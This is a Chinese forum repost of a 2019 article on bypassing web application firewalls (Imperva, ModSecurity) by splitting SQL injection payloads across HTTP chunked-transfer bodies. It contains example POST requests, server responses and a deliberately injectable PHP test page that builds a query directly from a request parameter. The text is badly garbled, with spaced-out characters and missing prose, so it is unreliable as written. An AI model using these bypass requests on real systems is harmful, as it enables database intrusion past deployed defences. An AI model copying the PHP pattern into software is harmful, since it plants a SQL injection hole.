[13666] 2019-01-18_利用分块传输吊打所有WAF

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2019-01-18_利用分块传输吊打所有WAF W A F 3 6 0   F r e e B u f   2 0 1 9 - 0 1 - 1 8 * b y p a s s w o r d H T T P W A F 1   使 使 I m p e r v a 3 6 0 W A F T r a n s f e r - E n c o d i n g H T T P 使 W A F [ R F C 7 2 3 0 ] ; 4 . 1 .     C h u n k e d   T r a n s f e r   C o d i n g       T h e   c h u n k e d   t r a n s f e r   c o d i n g   w r a p s   t h e   p a y l o a d   b o d y   i n   o r d e r   t o       t r a n s f e r   i t   a s   a   s e r i e s   o f   c h u n k s ,   e a c h   w i t h   i t s   o w n   s i z e   i n d i c a t o r ,       f o l l o w e d   b y   a n   O P T I O N A L   t r a i l e r   c o n t a i n i n g   h e a d e r   f i e l d s .     C h u n k e d       e n a b l e s   c o n t e n t   s t r e a m s   o f   u n k n o w n   s i z e   t o   b e   t r a n s f e r r e d   a s   a       s e q u e n c e   o f   l e n g t h - d e l i m i t e d   b u f f e r s ,   w h i c h   e n a b l e s   t h e   s e n d e r   t o       r e t a i n   c o n n e c t i o n   p e r s i s t e n c e   a n d   t h e   r e c i p i e n t   t o   k n o w   w h e n   i t   h a s       r e c e i v e d   t h e   e n t i r e   m e s s a g e .           c h u n k e d - b o d y       =   * c h u n k                                             l a s t - c h u n k                                             t r a i l e r - p a r t                                             C R L F           c h u n k                     =   c h u n k - s i z e   [   c h u n k - e x t   ]   C R L F                                             c h u n k - d a t a   C R L F           c h u n k - s i z e           =   1 * H E X D I G           l a s t - c h u n k           =   1 * ( " 0 " )   [   c h u n k - e x t   ]   C R L F           c h u n k - d a t a           =   1 * O C T E T   ;   a   s e q u e n c e   o f   c h u n k - s i z e   o c t e t s       T h e   c h u n k - s i z e   f i e l d   i s   a   s t r i n g   o f   h e x   d i g i t s   i n d i c a t i n g   t h e   s i z e   o f       t h e   c h u n k - d a t a   i n   o c t e t s .     T h e   c h u n k e d   t r a n s f e r   c o d i n g   i s   c o m p l e t e       w h e n   a   c h u n k   w i t h   a   c h u n k - s i z e   o f   z e r o   i s   r e c e i v e d ,   p o s s i b l y   f o l l o w e d       b y   a   t r a i l e r ,   a n d   f i n a l l y   t e r m i n a t e d   b y   a n   e m p t y   l i n e .       A   r e c i p i e n t   M U S T   b e   a b l e   t o   p a r s e   a n d   d e c o d e   t h e   c h u n k e d   t r a n s f e r       c o d i n g . 4 . 1 . 1 .     C h u n k   E x t e n s i o n s       T h e   c h u n k e d   e n c o d i n g   a l l o w s   e a c h   c h u n k   t o   i n c l u d e   z e r o   o r   m o r e   c h u n k       e x t e n s i o n s ,   i m m e d i a t e l y   f o l l o w i n g   t h e   c h u n k - s i z e ,   f o r   t h e   s a k e   o f       s u p p l y i n g   p e r - c h u n k   m e t a d a t a   ( s u c h   a s   a   s i g n a t u r e   o r   h a s h ) ,       m i d - m e s s a g e   c o n t r o l   i n f o r m a t i o n ,   o r   r a n d o m i z a t i o n   o f   m e s s a g e   b o d y       s i z e .           c h u n k - e x t             =   * (   " ; "   c h u n k - e x t - n a m e   [   " = "   c h u n k - e x t - v a l   ]   )           c h u n k - e x t - n a m e   =   t o k e n           c h u n k - e x t - v a l     =   t o k e n   /   q u o t e d - s t r i n g       T h e   c h u n k e d   e n c o d i n g   i s   s p e c i f i c   t o   e a c h   c o n n e c t i o n   a n d   i s   l i k e l y   t o       b e   r e m o v e d   o r   r e c o d e d   b y   e a c h   r e c i p i e n t   ( i n c l u d i n g   i n t e r m e d i a r i e s )       b e f o r e   a n y   h i g h e r - l e v e l   a p p l i c a t i o n   w o u l d   h a v e   a   c h a n c e   t o   i n s p e c t       t h e   e x t e n s i o n s .     H e n c e ,   u s e   o f   c h u n k   e x t e n s i o n s   i s   g e n e r a l l y   l i m i t e d 9 ; k k k k k 1 2 3 4 5 6 7 = 1 4 ; o o o = 2 2 2 2 3 4 5 0 ( )
T r a n s f e r - E n c o d i n g W A F W A F 使 I m p e r v a p a y l o a d   a n d   2 = 2 I m p e r v a W A F P O S T   / x x x x x x . j s p   H T T P / 1 . 1 . . . . . . T r a n s f e r - E n c o d i n g :   C h u n k e d 9 x x x x x x x x x 9 x x = x x x x x x 9 x x x x x x x x x 1 d 9 & a = 1         a n d         3 2 = 2 0 P O S T   / x x x x x x . j s p   H T T P / 1 . 1 . . . . . . T r a n s f e r - E n c o d i n g :   C h u n k e d 9 x x x x x x x x x 9 x x = x x x x x x 9 x x x x x x x x x 1 ; t e s t s d a s d s a d d 9 ; t e s t & a = 1         a n d         3 ; t e s t 4 4 4 4 4 2 = 2 0 ( )
I m p e r v a p a y l o a d 2   B y p a s s   M o d S e c u r i t y M o d S e c u r i t y h t t p 使 M o d S e c u r i t y h t t p M o d S e c u r i t y W A F A p a c h e + M o d S e c u r i t y s q l . p h p M o d S e c u r i t y u n i o n < ? p h p i n i _ s e t ( " d i s p l a y _ e r r o r s " ,   " O n " ) ; e r r o r _ r e p o r t i n g ( E _ A L L ) ; $ c o n   =   m y s q l _ c o n n e c t ( " l o c a l h o s t " , " r o o t " , " " ) ; i f   ( ! $ c o n ) {         d i e ( ' C o u l d   n o t   c o n n e c t :   '   .   m y s q l _ e r r o r ( ) ) ; } m y s q l _ s e l e c t _ d b ( " t e s t " ,   $ c o n ) ; $ i d   =   $ _ R E Q U E S T [ " i d " ] ; $ s q l   =   " s e l e c t   *   f r o m   u s e r   w h e r e   i d = $ i d " ; $ r e s u l t   =   m y s q l _ q u e r y ( $ s q l , $ c o n ) ; w h i l e ( $ r o w   =   m y s q l _ f e t c h _ a r r a y ( $ r e s u l t ) ) {         e c h o   $ r o w [ ' n a m e ' ]   .   "   "   .   $ r o w [ ' p a s s w o r d ' ] . " n " ; } m y s q l _ c l o s e ( $ c o n ) ; p r i n t   " = = = = = = = = G E T = = = = = = = = = = n " ; p r i n t _ r ( $ _ G E T ) ; p r i n t   " = = = = = = = = P O S T = = = = = = = = = = n " ; p r i n t _ r ( $ _ P O S T ) ; ? > < a   h r e f = " s q l i . p h p ? i d = 1 " >   s d f s d f   < / a >
u n i o n a p a c h e a p a c h e p h p M o d S e c u r i t y 4 0 0 M o d S e c u r i t y M o d S e c u r i t y r o o t s q l . p h p r o o t s q l . p h p r o o t M o d S e c u r i t y : h t t p : / / 1 0 . 1 0 . 1 0 . 1 0 / s q l . p h p ? i d = 2 % 2 0 u n i o n : < ! D O C T Y P E   H T M L   P U B L I C   " - / / I E T F / / D T D   H T M L   2 . 0 / / E N " > < h t m l > < h e a d > < t i t l e > 4 0 4   N o t   F o u n d < / t i t l e > < / h e a d > < b o d y > < h 1 > N o t   F o u n d < / h 1 > < p > T h e   r e q u e s t e d   U R L   / s q l . p h p   w a s   n o t   f o u n d   o n   t h i s   s e r v e r . < / p > < h r > < a d d r e s s > A p a c h e / 2 . 2 . 1 5   ( C e n t O S )   S e r v e r   a t   1 0 . 1 0 . 1 0 . 1 0   P o r t   8 0 < / a d d r e s s > < / b o d y > < / h t m l > : P O S T   / s q l . p h p ? i d = 2 % 2 0 u n i o n   H T T P / 1 . 1 . . . . . . T r a n s f e r - E n c o d i n g :   c h u n k e d 1 a a 0 ( ) : < t i t l e > 4 0 0   B a d   R e q u e s t < / t i t l e > < / h e a d > < b o d y > < h 1 > B a d   R e q u e s t < / h 1 > < p > Y o u r   b r o w s e r   s e n t   a   r e q u e s t   t h a t   t h i s   s e r v e r   c o u l d   n o t   u n d e r s t a n d . < b r   / > < / p > < h r > < a d d r e s s > A p a c h e / 2 . 2 . 1 5   ( C e n t O S )   S e r v e r   a t   1 0 . 1 0 . 1 0 . 1 0   P o r t   8 0 < / a d d r e s s > < / b o d y > < / h t m l > = = = = = = = = G E T = = = = = = = = = = A r r a y (       [ i d ]   = >   2   u n i o n ) = = = = = = = = P O S T = = = = = = = = = = A r r a y ( ) h t t p : / / 1 0 . 1 0 . 1 0 . 1 0 / s q l . p h p ? i d = 1 : < h t m l > < h e a d > < t i t l e > 4 0 3   F o r b i d d e n < / t i t l e > < / h e a d > < b o d y > < h 1 > F o r b i d d e n < / h 1 > < p > Y o u   d o n ' t   h a v e   p e r m i s s i o n   t o   a c c e s s   / s q l . p h p o n   t h i s   s e r v e r . < / p > < h r > < a d d r e s s > A p a c h e / 2 . 2 . 1 5   ( C e n t O S )   S e r v e r   a t   1 0 . 1 0 . 1 0 . 1 0   P o r t   8 0 < / a d d r e s s > < / b o d y > < / h t m l >
使 M o d S e c u r i t y 2 0 1 7 4 M o d S e c u r i t y H T T P W A F W A F B y p a s s F i l t e r * l u o y e 0 0 t h e w a y z o n a d u @ 3 6 0 3 6 0 F r e e B u f . C O M : P O S T   / s q l . p h p ? i d = 1   H T T P / 1 . 1 H o s t :   1 0 . 1 0 . 1 0 . 1 0 C o n n e c t i o n :   k e e p - a l i v e C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d T r a n s f e r - E n c o d i n g :   c h u n k e d C o n t e n t - L e n g t h :   1 6 3 1 2 3 1 0 ( ) : < h t m l > < h e a d > < t i t l e > 4 0 0   B a d   R e q u e s t < / t i t l e > < / h e a d > < b o d y > < h 1 > B a d   R e q u e s t < / h 1 > < p > Y o u r   b r o w s e r   s e n t   a   r e q u e s t   t h a t   t h i s   s e r v e r   c o u l d   n o t   u n d e r s t a n d . < b r   / > < / p > < h r > < a d d r e s s > A p a c h e / 2 . 2 . 1 5   ( C e n t O S )   S e r v e r   a t   1 0 . 1 0 . 1 0 . 1 0   P o r t   8 0 < / a d d r e s s > < / b o d y > < / h t m l > r o o t   1 2 3 4 5 6 = = = = = = = = G E T = = = = = = = = = = A r r a y (       [ i d ]   = >   1 ) = = = = = = = = P O S T = = = = = = = = = = A r r a y ( )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则